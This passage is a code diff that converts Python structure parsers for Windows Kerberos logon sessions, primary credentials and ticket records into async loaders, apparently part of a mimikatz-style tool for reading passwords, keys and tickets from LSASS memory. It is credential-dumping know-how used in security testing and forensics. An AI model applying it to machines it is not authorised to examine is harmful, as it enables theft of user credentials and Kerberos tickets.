+		p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10
+		return p
 		
 class KIWI_KERBEROS_LOGON_SESSION_10_X86:
-	def __init__(self, reader):	
-		self.UsageCount = ULONG(reader).value
-		reader.align()
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = PVOID(reader).value
-		self.unk1b = ULONG(reader).value
-		reader.align()
-		self.unk2 = FILETIME(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
+	def __init__(self):	
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk1b = None
+		self.unk2 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.LocallyUniqueIdentifier = None
+		self.unk7 = None
+		self.unk8 = None
+		self.unk8b = None
+		self.unk9 = None
+		self.unk11 = None
+		self.unk12 = None
+		self.unk13 = None
+		self.credentials = None
+		self.unk14 = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.unk22 = None
+		self.unk23 = None
+		self.unk24 = None
+		self.unk25 = None
+		self.pKeyList = None
+		self.unk26 = None
+		self.Tickets_1 = None
+		self.unk27 = None
+		self.Tickets_2 = None
+		self.unk28 = None
+		self.Tickets_3 = None
+		self.unk29 = None
+		self.SmartcardInfos = None
+	
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_LOGON_SESSION_10_X86()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk0  = await LIST_ENTRY.load(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.unk1b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk2 = await FILETIME.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
 		#print(hex(self.LocallyUniqueIdentifier))
 		#input('unk7\n' + hexdump(reader.peek(0x100)))
-		reader.align()
-		self.unk7 = FILETIME(reader).value
-		self.unk8 = PVOID(reader).value
-		self.unk8b = ULONG(reader).value
-		reader.align()
-		self.unk9 = FILETIME(reader).value
-		self.unk11 = PVOID(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value
-		reader.align(8)
+		await reader.align()
+		res.unk7  = await FILETIME.loadvalue(reader)
+		res.unk8  = await PVOID.loadvalue(reader)
+		res.unk8b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk9  = await FILETIME.loadvalue(reader)
+		res.unk11 = await PVOID.loadvalue(reader)
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)
+		await reader.align(8)
 		
 		#input('credentials\n' + hexdump(reader.peek(0x100)))
-		self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
-		self.unk14 = ULONG(reader).value
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
+		res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader)
+		res.unk14 = await ULONG.loadvalue(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
 		#//PVOID		unk18 = (reader).value
-		reader.align(8)
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.unk22 = PVOID(reader).value
-		self.unk23 = PVOID(reader).value
-		self.unk24 = PVOID(reader).value
-		self.unk25 = PVOID(reader).value
-		
-		self.pKeyList = PVOID(reader)
-		self.unk26 = PVOID(reader).value
+		await reader.align(8)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.unk22 = await PVOID.loadvalue(reader)
+		res.unk23 = await PVOID.loadvalue(reader)
+		res.unk24 = await PVOID.loadvalue(reader)
+		res.unk25 = await PVOID.loadvalue(reader)
+		res.pKeyList = await PVOID.load(reader)
+		res.unk26 = await PVOID.loadvalue(reader)
 		#input('pKeyList\n' + hexdump(reader.peek(0x100)))
-		reader.align()
+		await reader.align()
 		#input('Tickets_1\n' + hexdump(reader.peek(0x100)))
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.unk27 = FILETIME(reader).value
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.unk28 = FILETIME(reader).value
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.unk29 = FILETIME(reader).value
-		self.SmartcardInfos = PVOID(reader)
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.unk27 = await FILETIME.loadvalue(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.unk28 = await FILETIME.loadvalue(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.unk29 = await FILETIME.loadvalue(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
 		
 class KIWI_KERBEROS_LOGON_SESSION_10:
-	def __init__(self, reader):	
-		self.UsageCount = ULONG(reader).value
-		reader.align()
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = PVOID(reader).value
-		self.unk1b = ULONG(reader).value
-		reader.align()
-		self.unk2 = FILETIME(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
-		self.unk7 = FILETIME(reader).value
-		self.unk8 = PVOID(reader).value
-		self.unk8b = ULONG(reader).value
-		reader.align()
-		self.unk9 = FILETIME(reader).value
-		self.unk11 = PVOID(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value		
-		self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
-		self.unk14 = ULONG(reader).value
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
+	def __init__(self):	
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk1b = None
+		self.unk2 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.LocallyUniqueIdentifier = None
+		self.unk7 = None
+		self.unk8 = None
+		self.unk8b = None
+		self.unk9 = None
+		self.unk11 = None
+		self.unk12 = None
+		self.unk13 = None		
+		self.credentials = None
+		self.unk14 = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		#self.unk18 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.unk22 = None
+		self.unk23 = None
+		self.unk24 = None
+		self.unk25 = None
+		self.pKeyList = None
+		self.unk26 = None
+		self.Tickets_1 = None
+		self.unk27 = None
+		self.Tickets_2 = None
+		self.unk28 = None
+		self.Tickets_3 = None
+		self.unk29 = None
+		self.SmartcardInfos = None
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_LOGON_SESSION_10()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk0  = await LIST_ENTRY.load(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.unk1b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk2 = await FILETIME.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
+		res.unk7  = await FILETIME.loadvalue(reader)
+		res.unk8  = await PVOID.loadvalue(reader)
+		res.unk8b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk9  = await FILETIME.loadvalue(reader)
+		res.unk11 = await PVOID.loadvalue(reader)
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)		
+		res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader)
+		res.unk14 = await ULONG.loadvalue(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
 		#self.unk18 = PVOID(reader).value
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.unk22 = PVOID(reader).value
-		self.unk23 = PVOID(reader).value
-		self.unk24 = PVOID(reader).value
-		self.unk25 = PVOID(reader).value
-		self.pKeyList = PVOID(reader)
-		self.unk26 = PVOID(reader).value
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.unk27 = FILETIME(reader).value
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.unk28 = FILETIME(reader).value
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.unk29 = FILETIME(reader).value
-		self.SmartcardInfos = PVOID(reader)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.unk22 = await PVOID.loadvalue(reader)
+		res.unk23 = await PVOID.loadvalue(reader)
+		res.unk24 = await PVOID.loadvalue(reader)
+		res.unk25 = await PVOID.loadvalue(reader)
+		res.pKeyList = await PVOID.load(reader)
+		res.unk26 = await PVOID.loadvalue(reader)
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.unk27 = await FILETIME.loadvalue(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.unk28 = await FILETIME.loadvalue(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.unk29 = await FILETIME.loadvalue(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
 
 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO)
-		
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO
+		return p
 
 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO:
-	def __init__(self, reader):
-		self.StructSize = DWORD(reader).value
-		reader.align()
-		self.isoBlob    = PLSAISO_DATA_BLOB(reader)  #POINTER!!!! #// aligned = 
-
-class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607)
+	def __init__(self):
+		self.StructSize = None
+		self.isoBlob    = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO()
+		res.StructSize = await DWORD.loadvalue(reader)
+		await reader.align()
+		res.isoBlob    = await PLSAISO_DATA_BLOB.load(reader)  #POINTER!!!! #// aligned =
+		return res
+
+class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607
+		return p
 		
 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607:
-	def __init__(self, reader):
-		self.UserName = LSA_UNICODE_STRING(reader)
-		self.Domaine = LSA_UNICODE_STRING(reader)
-		self.unkFunction = PVOID(reader).value
-		self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value
-		reader.align()
-		self.Password = LSA_UNICODE_STRING(reader) #	union {
-		self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader)
-
-class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607)
+	def __init__(self):
+		self.UserName = None
+		self.Domaine = None
+		self.unkFunction = None
+		self.type = None
+		self.Password = None
+		self.IsoPassword = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607()
+		res.UserName = await LSA_UNICODE_STRING.load(reader)
+		res.Domaine  = await LSA_UNICODE_STRING.load(reader)
+		res.unkFunction = await PVOID.loadvalue(reader)
+		res.type = await DWORD.loadvalue(reader) # // or flags 2 = normal, 1 = ISO(reader).value
+		await reader.align()
+		res.Password    = await LSA_UNICODE_STRING.load(reader) #	union {
+		res.IsoPassword = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO.load(reader)
+		return res
+
+class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_LOGON_SESSION_10_1607()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10_1607
+		return p
 
 		
 class KIWI_KERBEROS_LOGON_SESSION_10_1607:
-	def __init__(self, reader):
-		#input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
-		self.UsageCount = ULONG(reader).value
-		reader.align()
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = PVOID(reader).value
-		self.unk1b = ULONG(reader).value
-		reader.align()
-		self.unk2 = FILETIME(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
-		self.unk7 = FILETIME(reader).value
-		self.unk8 = PVOID(reader).value
-		self.unk8b = ULONG(reader).value
-		reader.align()
-		self.unk9 = FILETIME(reader).value
-		self.unk11 = PVOID(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value
-		reader.align(8)
-		self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
-		self.unk14 = ULONG(reader).value
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
-		self.unk18 = PVOID(reader).value
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.unk22 = PVOID(reader).value
-		self.unk23 = PVOID(reader).value
+	def __init__(self):
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk1b = None
+		self.unk2 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.LocallyUniqueIdentifier = None
+		self.unk7 = None
+		self.unk8 = None
+		self.unk8b = None
+		self.unk9 = None
+		self.unk11 = None
+		self.unk12 = None
+		self.unk13 = None
+		self.credentials = None
+		self.unk14 = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		self.unk18 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.unk22 = None
+		self.unk23 = None
+		self.pKeyList = None
+		self.unk26 = None
+		self.Tickets_1 = None
+		self.unk27 = None
+		self.Tickets_2 = None
+		self.unk28 = None
+		self.Tickets_3 = None
+		self.unk29 = None
+		self.SmartcardInfos = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_LOGON_SESSION_10_1607()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk0 = await LIST_ENTRY.load(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.unk1b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk2 = await FILETIME.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
+		res.unk7  = await FILETIME.loadvalue(reader)
+		res.unk8  = await PVOID.loadvalue(reader)
+		res.unk8b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk9  = await FILETIME.load(reader)
+		res.unk11 = await PVOID.loadvalue(reader)
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)
+		await reader.align(8)
+		res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader)
+		res.unk14 = await ULONG.loadvalue(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
+		res.unk18 = await PVOID.loadvalue(reader)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.unk22 = await PVOID.loadvalue(reader)
+		res.unk23 = await PVOID.loadvalue(reader)
 		#self.unk24 = PVOID(reader).value
 		#self.unk25 = PVOID(reader).value
-		reader.align()
+		await reader.align()
 		#reader.read(8+12)
 		#input('pkeylist  \n' + hexdump(reader.peek(0x50)))
-		self.pKeyList = PVOID(reader)
-		self.unk26 = PVOID(reader).value
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.unk27 = FILETIME(reader).value
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.unk28 = FILETIME(reader).value
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.unk29 = FILETIME(reader).value
-		self.SmartcardInfos = PVOID(reader)
-		
+		res.pKeyList = await PVOID.load(reader)
+		res.unk26 = await PVOID.loadvalue(reader)
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.unk27 = await FILETIME.loadvalue(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.unk28 = await FILETIME.loadvalue(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.unk29 = await FILETIME.loadvalue(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
 		
 class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:
-	def __init__(self, reader):
-		#input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
-		self.UsageCount = ULONG(reader).value
-		reader.align()
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = PVOID(reader).value
-		self.unk1b = ULONG(reader).value
-		reader.align()
-		self.unk2 = FILETIME(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
+	def __init__(self):
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk1b = None
+		self.unk2 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.LocallyUniqueIdentifier = None
+		self.unk7 = None
+		self.unk8 = None
+		self.unk8b = None
+		self.unk9 = None
+		self.unk11 = None
+		self.unk12 = None
+		self.unk13 = None
+		self.unkAlign = None
+		self.credentials = None
+		self.unk14 = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		self.unk18 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.unk22 = None
+		self.unk23 = None
+		self.pKeyList = None
+		self.unk26 = None
+		self.Tickets_1 = None
+		self.unk27 = None
+		self.Tickets_2 = None
+		self.unk28 = None
+		self.Tickets_3 = None
+		self.unk29 = None
+		self.SmartcardInfos = None
+
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk0 = await LIST_ENTRY.load(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.unk1b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk2 = await FILETIME.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
 		#input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier))
-		self.unk7 = FILETIME(reader).value
-		self.unk8 = PVOID(reader).value
-		self.unk8b = ULONG(reader).value
-		reader.align()
-		self.unk9 = FILETIME(reader).value
-		self.unk11 = PVOID(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value
-		self.unkAlign = ULONG(reader).value
+		res.unk7  = await FILETIME.loadvalue(reader)
+		res.unk8  = await PVOID.loadvalue(reader)
+		res.unk8b = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk9  = await FILETIME.loadvalue(reader)
+		res.unk11 = await PVOID.loadvalue(reader)
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)
+		res.unkAlign = await ULONG.loadvalue(reader)
 		#input('credentials  \n' + hexdump(reader.peek(0x200)))
-		self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
-		self.unk14 = ULONG(reader).value
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
-		self.unk18 = PVOID(reader).value
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.unk22 = PVOID(reader).value
-		self.unk23 = PVOID(reader).value
+		res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader)
+		res.unk14 = await ULONG.loadvalue(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
+		res.unk18 = await PVOID.loadvalue(reader)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.unk22 = await PVOID.loadvalue(reader)
+		res.unk23 = await PVOID.loadvalue(reader)
 		#self.unk24 = PVOID(reader).value
 		#self.unk25 = PVOID(reader).value
-		reader.align()
+		await reader.align()
 		
-		self.pKeyList = PVOID(reader)
-		self.unk26 = PVOID(reader).value
+		res.pKeyList = await PVOID.load(reader)
+		res.unk26    = await PVOID.loadvalue(reader)
 		#input('Tickets_1  \n' + hexdump(reader.peek(0x200)))
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.unk27 = FILETIME(reader).value
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.unk28 = FILETIME(reader).value
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.unk29 = FILETIME(reader).value
-		self.SmartcardInfos = PVOID(reader)
-
-class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51)
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.unk27 = await FILETIME.loadvalue(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.unk28 = await FILETIME.loadvalue(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.unk29 = await FILETIME.loadvalue(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
+
+class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_51()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_51
+		return p
 
 		
 class KIWI_KERBEROS_INTERNAL_TICKET_51:
-	def __init__(self, reader):
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
-		self.unk2 = ULONG(reader).value
-		self.KeyType = ULONG(reader).value
-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.unk7 = PVOID(reader).value
-		self.unk8 = PVOID(reader).value
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk9 = ULONG(reader).value
-		self.unk10 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk11 = ULONG(reader).value
-		self.strangeNames = PVOID(reader).value
-		self.unk12 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.ClientName = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.unk7 = None
+		self.unk8 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk9 = None
+		self.unk10 = None
+		self.domain = None
+		self.unk11 = None
+		self.strangeNames = None
+		self.unk12 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_51()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName  = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.Description = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2    = await ULONG.loadvalue(reader)
+		res.KeyType = await ULONG.loadvalue(reader)
+		res.Key  = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk3 = await PVOID.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.unk7 = await PVOID.loadvalue(reader)
+		res.unk8 = await PVOID.loadvalue(reader)
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk9   = await ULONG.loadvalue(reader)
+		res.unk10  = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk11  = await ULONG.loadvalue(reader)
+		res.strangeNames = await PVOID.loadvalue(reader)
+		res.unk12 = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno = await ULONG.loadvalue(reader)
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+		return res
 
 class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_52()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_52
+		return p
 		
 
 class KIWI_KERBEROS_INTERNAL_TICKET_52:
-	def __init__(self, reader):
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.name0 = PVOID(reader).value
-		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
-		self.unk2 = ULONG(reader).value
-		self.KeyType = ULONG(reader).value
